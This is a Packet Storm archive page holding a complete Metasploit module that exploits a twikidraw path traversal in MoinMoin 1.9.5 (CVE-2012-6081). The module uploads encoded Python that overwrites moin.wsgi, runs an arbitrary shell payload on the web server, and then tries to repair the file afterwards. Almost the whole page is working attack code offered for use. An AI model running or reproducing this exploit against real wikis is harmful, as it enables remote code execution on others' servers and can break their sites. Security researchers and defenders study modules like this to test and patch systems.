what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MoinMoin twikidraw Action Traversal File Upload

MoinMoin twikidraw Action Traversal File Upload
Posted Jun 19, 2013
Authored by juan vazquez, temp66, HTP | Site metasploit.com

This Metasploit module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability exists on the manage of the twikidraw actions, where a traversal path can be used in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi configurations by overwriting moin.wsgi, which allows to execute arbitrary python code, as exploited in the wild on July, 2012.

tags | exploit, arbitrary, python
advisories | CVE-2012-6081, OSVDB-88825
SHA-256 | 357506b05f75972b93ef4f53d7935e38c58ae9d6c3dc89990bc79b7b56e9d911

MoinMoin twikidraw Action Traversal File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'MoinMoin twikidraw Action Traversal File Upload',
'Description' => %q{
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
exists on the manage of the twikidraw actions, where a traversal path can be used
in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
configurations by overwriting moin.wsgi, which allows to execute arbitrary python
code, as exploited in the wild on July, 2012. The user is warned to use this module
at his own risk since it's going to overwrite the moin.wsgi file, required for the
correct working of the MoinMoin wiki. While the exploit will try to restore the
attacked application at post exploitation, correct working after all isn't granted.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'HTP', # PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6081' ],
[ 'OSVDB', '88825' ],
[ 'BID', '57082' ],
[ 'EDB', '25304' ],
[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 16384, # Enough one to fit any payload
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet netcat perl'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'MoinMoin 1.9.5', { }]],
'DisclosureDate' => 'Dec 30 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end

def moinmoin_template(path)
template =[]
template << "# -*- coding: iso-8859-1 -*-"
template << "import sys, os"
template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
template << "from MoinMoin.web.serving import make_application"
template << "application = make_application(shared=True)"
return template
end

def restore_file(session, file, contents)
first = true
contents.each {|line|
if first
session.shell_command_token("echo \"#{line}\" > #{file}")
first = false
else
session.shell_command_token("echo \"#{line}\" >> #{file}")
end
}
end

# Try to restore a basic moin.wsgi file with the hope of making the
# application usable again.
# Try to search on /usr/local/share/moin (default search path) and the
# current path (apache user home). Avoiding to search on "/" because it
# could took long time to finish.
def on_new_session(session)
print_status("Trying to restore moin.wsgi...")
begin
files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}

files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}
print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
rescue
print_warning("Error while restring moin.wsgi, manual restoring would be required.")
end
end

def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'vars_post' =>
{
'action' => 'login',
'name' => username,
'password' => password,
'login' => 'Login'
}
})

if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
return nil
end

return res.get_cookies

end

def upload_code(session, code)

vprint_status("Retrieving the ticket...")

res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'twikidraw',
'do' => 'modify',
'target' => '../../../../moin.wsgi'
}
})

if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/
vprint_error("Error retrieving the ticket")
return nil
end

ticket = $1
vprint_good("Ticket found: #{ticket}")

my_payload = "[MARK]#{code}[MARK]"
post_data = Rex::MIME::Message.new
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' =>
{
'action' => 'twikidraw',
'do' => 'save',
'ticket' => ticket,
'target' => '../../../../moin.wsgi'
},
'data' => my_data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

if not res or res.code != 200 or not res.body.empty?
vprint_error("Error uploading the payload")
return nil
end

return true
end

def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'

res = send_request_cgi({
'uri' => normalize_uri(@base)
})

if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
return Exploit::CheckCode::Detected
elsif res
return Exploit::CheckCode::Unknown
end

return Exploit::CheckCode::Safe
end

def writable_page?(session)

res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
})

if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
return false
end

return true
end


def exploit

# Init variables
@page = datastore['WritablePage']

@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'

# Login if needed
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end

# Check authentication
if not session
fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
end

# Check writable permissions
if not writable_page?(session)
fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
end

# Upload payload
print_status("Trying to upload payload...")
python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
if not res
fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
end

# Execute payload
print_status("Executing the payload...")
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'AttachFile'
}
}, 5)

end

end


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close